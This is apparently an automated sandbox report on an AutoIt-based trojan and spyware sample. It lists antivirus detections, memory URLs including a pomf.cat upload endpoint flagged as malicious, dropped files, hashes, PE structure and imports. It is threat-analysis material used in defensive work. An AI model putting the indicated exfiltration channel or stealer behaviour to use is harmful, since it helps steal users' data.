1.2.RegAsm.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
3.0.vbc.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
0.0.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.d00000.0.unpack	100%	Avira	HEUR/AGEN.1100066	Download File
0.2.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.d00000.0.unpack	100%	Avira	HEUR/AGEN.1100066	Download File
3.0.vbc.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
3.0.vbc.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
3.0.vbc.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1125438	Download File
1.0.RegAsm.exe.400000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
3.0.vbc.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1125438	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js	0%	URL Reputation	safe
https://a.pomf.cat/	8%	Virustotal		Browse
https://a.pomf.cat/	0%	Avira URL Cloud	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjE4MmE0M2M0MDY3OGU1N2E4MjhkM2NjNDdlNGMzZmNkYjU1N	0%	Avira URL Cloud	safe
http://images.outbrainimg.com/transform/v3/eyJpdSI6ImY3MDA1MDJkMTdmZDY0M2VkZTBjNzg5MTE1OWEyYTYxMWRiN	0%	Avira URL Cloud	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1	0%	URL Reputation	safe
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://pki.goog/gsr2/GTSGIAG3.crt0)	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0#	0%	URL Reputation	safe
http://pomf.cat/upload.php&https://a.pomf.cat/	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingth	0%	URL Reputation	safe
http://images.outbrainimg.com/transform/v3/eyJpdSI6IiIsIml1ZSI6Imh0dHA6Ly9pbWFnZXMyLnplbWFudGEuY29tL	0%	URL Reputation	safe
http://pomf.cat/upload.php	0%	Avira URL Cloud	safe
http://crl.pki.goog/GTSGIAG3.crl0	0%	URL Reputation	safe
https://logincdn.msauth.net/16.000.28230.00/MeControl.js	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/folder-applications.svg	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/css/main.v2.min.css	bhv4453.tmp.3.dr	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779	vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	false		high
https://cvision.media.net/new/286x175/2/75/95/36/612b163a-ff7b-498a-bad2-3c52bbd2c504.jpg?v=9	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg	bhv4453.tmp.3.dr	false		high
https://cvision.media.net/new/286x175/2/57/35/144/83ebc513-f6d1-4e0e-a39a-bef975147e85.jpg?v=9	bhv4453.tmp.3.dr	false		high
http://www.msn.com	bhv4453.tmp.3.dr	false		high
http://www.nirsoft.net	vbc.exe, 00000003.00000002.273144244.000000000019C000.00000004.00000001.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://contextual.media.net/__media__/js/util/nrrV9140.js	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/chrome-logo.svg	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/homepage_features.png	bhv4453.tmp.3.dr	false		high
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/	bhv4453.tmp.3.dr	false		high
https://a.pomf.cat/	RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f	bhv4453.tmp.3.dr	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg	bhv4453.tmp.3.dr	false		high
http://www.msn.com/?ocid=iehp	vbc.exe, 00000003.00000003.270439604.000000000227A000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.270303506.0000000002276000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3	bhv4453.tmp.3.dr	false		high
http://crl.pki.goog/GTS1O1core.crl0	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjE4MmE0M2M0MDY3OGU1N2E4MjhkM2NjNDdlNGMzZmNkYjU1N	bhv4453.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/images/icon-announcement.svg	bhv4453.tmp.3.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1https://c	vbc.exe, 00000003.00000003.269966059.000000000226E000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.270109165.0000000002276000.00000004.00000001.sdmp	false		high
http://www.nirsoft.net/	vbc.exe, 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/css/main.v3.min.css	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/application/x-msdownloadC:	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg	bhv4453.tmp.3.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee	bhv4453.tmp.3.dr	false		high
http://images.outbrainimg.com/transform/v3/eyJpdSI6ImY3MDA1MDJkMTdmZDY0M2VkZTBjNzg5MTE1OWEyYTYxMWRiN	bhv4453.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/images/download-browser/pixel_phone.png	bhv4453.tmp.3.dr	false		high
http://pki.goog/gsr2/GTS1O1.crt0	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	bhv4453.tmp.3.dr	false		high
https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/app-store-download.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png	bhv4453.tmp.3.dr	false		high
https://contextual.media.net/	bhv4453.tmp.3.dr	false		high
https://pki.goog/repository/0	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9	bhv4453.tmp.3.dr	false		high
http://www.msn.com/	bhv4453.tmp.3.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg	bhv4453.tmp.3.dr	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BE6B7572D	bhv4453.tmp.3.dr	false		high
http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804	bhv4453.tmp.3.dr	false		high
https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3	bhv4453.tmp.3.dr	false		high
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://contextual.media.net/48/nrrV18753.js	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-help.jpg	bhv4453.tmp.3.dr	false		high
https://www.google.com/accounts/servicelogin	vbc.exe	false		high
https://www.google.com/chrome/static/images/homepage/google-enterprise.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/google-dev.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json	bhv4453.tmp.3.dr	false		high
http://crl.pki.goog/gsr2/gsr2.crl0?	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
http://pki.goog/gsr2/GTSGIAG3.crt0)	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-fb.jpg	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/mac-ico.png	bhv4453.tmp.3.dr	false		high
http://pki.goog/gsr2/GTS1O1.crt0#	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
http://pomf.cat/upload.php&https://a.pomf.cat/	SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, RegAsm.exe, 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, RegAsm.exe, 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingth	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://contextual.media.net/checksync.phpm	vbc.exe, 00000003.00000002.273357379.0000000002848000.00000004.00000001.sdmp	false		high
https://www.google.com/chrome/static/images/google-play-download.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/chrome_throbber_fast.gif	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/google-canary.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/favicons/favicon-16x16.png	bhv4453.tmp.3.dr	false		high
https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location	bhv4453.tmp.3.dr	false		high
https://play.google.com/intl/en_us/badges/images/generic/de_badge_web_generic.png	bhv4453.tmp.3.dr	false		high
https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/laptop_desktop.png	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/js/main.v2.min.js	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg	bhv4453.tmp.3.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf	bhv4453.tmp.3.dr	false		high
https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_333%2Cw_311%2Cc_fill%2Cg_faces:aut	bhv4453.tmp.3.dr	false		high
http://images.outbrainimg.com/transform/v3/eyJpdSI6IiIsIml1ZSI6Imh0dHA6Ly9pbWFnZXMyLnplbWFudGEuY29tL	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	vbc.exe, 00000003.00000003.272251788.00000000028BB000.00000004.00000001.sdmp, vbc.exe, 00000003.00000002.273357379.0000000002848000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.269966059.000000000226E000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/homepage_privacy.png	bhv4453.tmp.3.dr	false		high
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg	bhv4453.tmp.3.dr	false		high
https://login.yahoo.com/config/login	vbc.exe	false		high
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0	bhv4453.tmp.3.dr	false		high
https://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&	vbc.exe, 00000003.00000003.269966059.000000000226E000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.270109165.0000000002276000.00000004.00000001.sdmp	false		high
https://cvision.media.net/new/300x194/2/138/47/25/3b2da2d4-7a38-47c3-b162-f33e769f51f5.jpg?v=9	bhv4453.tmp.3.dr	false		high
https://contextual.media.net/checksync.phphttps://contextual.medi	vbc.exe, 00000003.00000003.272251788.00000000028BB000.00000004.00000001.sdmp	false		high
https://srtb.msn.com/auction?a=de-ch&b=623d43496a394c99b1336ff5cc139eb9&c=MSN&d=http%3A%2F%2Fwww.msn	bhv4453.tmp.3.dr	false		high
http://pomf.cat/upload.php	RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/images/cursor-replay.cur	bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/js/installer.min.js	bhv4453.tmp.3.dr	false		high
http://crl.pki.goog/GTSGIAG3.crl0	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://logincdn.msauth.net/16.000.28230.00/MeControl.js	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png	bhv4453.tmp.3.dr	false		high
https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=	vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	false		high
https://www.google.com/chrome/static/images/homepage/homepage_tools.png	bhv4453.tmp.3.dr	false		high
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	bhv4453.tmp.3.dr	false	URL Reputation: safe	unknown
http://bot.whatismyipaddress.com/	RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	false		high

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	537823
Start date:	10.12.2021
Start time:	14:14:52
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Trojan.AutoIt.316.10986.27538 (renamed file extension from 27538 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@7/3@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 39.4% (good quality ratio 38.3%) Quality average: 85.8% Quality standard deviation: 22.9%
HCA Information:	Successful, ratio: 58% Number of executed functions: 190 Number of non-executed functions: 264
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing disassembly code.

Simulations

Behavior and APIs

Time	Type	Description
14:15:55	API Interceptor	1x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\78ede25b-fb90-6791-1ca9-e1fd644b6d85 Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	5.490292840056112
Encrypted:	false
SSDEEP:	3:PFYyImXF9mN2RVQON4NgCkCAUdXM:PHRB6+C3xy
MD5:	454353131947D1483FF5470107478978
SHA1:	C559163C23E5F878BE85D05F3EDEEAA620173C3D
SHA-256:	2DF94DC1C58E952A1EBD1AE1185A291A8A573982CA90EC1BBB87B81126002668
SHA-512:	C8912DA4654C735F7618B0ABEA7EC0197B17E6E072718B825B5799B2E88CC0E8AE8245CA95E1E5955C3AB8F649CA4ED6529975B142B061ECC402D935401B84DE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	LeNF7Goy7uuKWKsmWAhDmhEi2BbZGy27JQQaO8wc/LiRcthbCBcu+4Nt6yYR3dz6dYTg/ZHS1axBPoq2xePo2w==

C:\Users\user\AppData\Local\Temp\bhv4453.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7ce4008c, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	26738688
Entropy (8bit):	0.9562151627259001
Encrypted:	false
SSDEEP:	24576:1dLv1SxfFUaWse9zZi2Ou/iDyUOjoEO3PX2BU:2UagzU2Ouj
MD5:	35192049828138889E770C6215309EF4
SHA1:	3DEF216321EAF2E148E9C43916AF7E46C31A494C
SHA-256:	BC723EA305392B9CA08507036BF2A0DDBDFF2455E2B37793BCD7635BF26C6290
SHA-512:	1532788E22E67A73FC436ABF7315FC04FA12C63EA0E9A8D59F881476B95383F2D479A13694F24D6AA3B514E9F2391E2EE5E72B9267D53A803E32C2E617D4D40D
Malicious:	false
Reputation:	low
Preview:	\|...... .......v1.......l~.."...wK.......................m.....%....y=.&....y..h.o..........................k.\."...w..............................................................................................Y............B.................................................................................................................. .......&....y{.......................................................................................................................................................................................................................................W.+....y..................~...*....y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBCAF.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
File Type:	Little-endian UTF-16 Unicode text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.134409482814605
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.AutoIt.316.10986.exe
File size:	2135040
MD5:	52d4245d65d5cc2da05298c480ffcc5f
SHA1:	b2ecf335eb93feba2cf923419e70d7b6cff79061
SHA256:	70ef3c88a90dd590de9a0ac4634b5017f35ea6dedec14f3cc3b5d9eeb3ca84a2
SHA512:	ab847b2e12b9ef8e494688094260967f42f8c0dc6797d635162b64fb32ac8720a2051441128b5a0528eeabe0fc8f5b8dafda15d688721037a2734e5e0629b02f
SSDEEP:	24576:8AHnh+eWsN3skA4RV1Hom2KXMmHaurntQLuyoI4f+O2fRHonhhlvXGE3nR5:bh+ZkldoPK8Yaux3b
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	c4c4ccccccd4d2ec

Static PE Info

General
Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE
Time Stamp:	0x5C503AC3 [Tue Jan 29 11:36:35 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FBBD0712DEDh
jmp 00007FBBD0705BA4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FBBD0705D2Ah
cmp edi, eax
jc 00007FBBD070608Eh
bt dword ptr [004C41FCh], 01h
jnc 00007FBBD0705D29h
rep movsb
jmp 00007FBBD070603Ch
cmp ecx, 00000080h
jc 00007FBBD0705EF4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FBBD0705D30h
bt dword ptr [004BF324h], 01h
jc 00007FBBD0706200h
bt dword ptr [004C41FCh], 00000000h
jnc 00007FBBD0705ECDh
test edi, 00000003h
jne 00007FBBD0705EDEh
test esi, 00000003h
jne 00007FBBD0705EBDh
bt edi, 02h
jnc 00007FBBD0705D2Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FBBD0705D33h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FBBD0705D85h
bt esi, 03h

Rich Headers

Programming Language:

[ C ] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[LNK] VS2013 UPD5 build 40629
[ASM] VS2013 UPD5 build 40629
[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[RES] VS2013 build 21005
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x13ecb4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x207000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	False	0.573560258033	data	6.67524835171	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	False	0.328288185379	data	5.76324400576	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	False	0.10175304878	data	1.19638192355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xc8000	0x13ecb4	0x13ee00	False	0.579503136025	data	4.90682884361	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x207000	0x7134	0x7200	False	0.761753015351	data	6.78395555713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0xc8434	0x128	GLS_BINARY_LSB_FIRST	English	Great Britain
RT_ICON	0xc855c	0x10828	dBase III DBT, version number 0, next free block index 40	English	Great Britain
RT_STRING	0xd8d84	0x594	data	English	Great Britain
RT_STRING	0xd9318	0x68a	data	English	Great Britain
RT_STRING	0xd99a4	0x490	data	English	Great Britain
RT_STRING	0xd9e34	0x5fc	data	English	Great Britain
RT_STRING	0xda430	0x65c	data	English	Great Britain
RT_STRING	0xdaa8c	0x466	data	English	Great Britain
RT_STRING	0xdaef4	0x158	data	English	Great Britain
RT_RCDATA	0xdb04c	0x5c2b6	ASCII text, with very long lines, with no line terminators	English	Great Britain
RT_RCDATA	0x137304	0x5c2b6	ASCII text, with very long lines, with no line terminators	English	Great Britain
RT_RCDATA	0x1935bc	0x5c2b6	ASCII text, with very long lines, with no line terminators	English	Great Britain
RT_RCDATA	0x1ef874	0x16f4c	data
RT_GROUP_ICON	0x2067c0	0x14	data	English	Great Britain
RT_GROUP_ICON	0x2067d4	0x14	data	English	Great Britain
RT_VERSION	0x2067e8	0xdc	data	English	Great Britain
RT_MANIFEST	0x2068c4	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
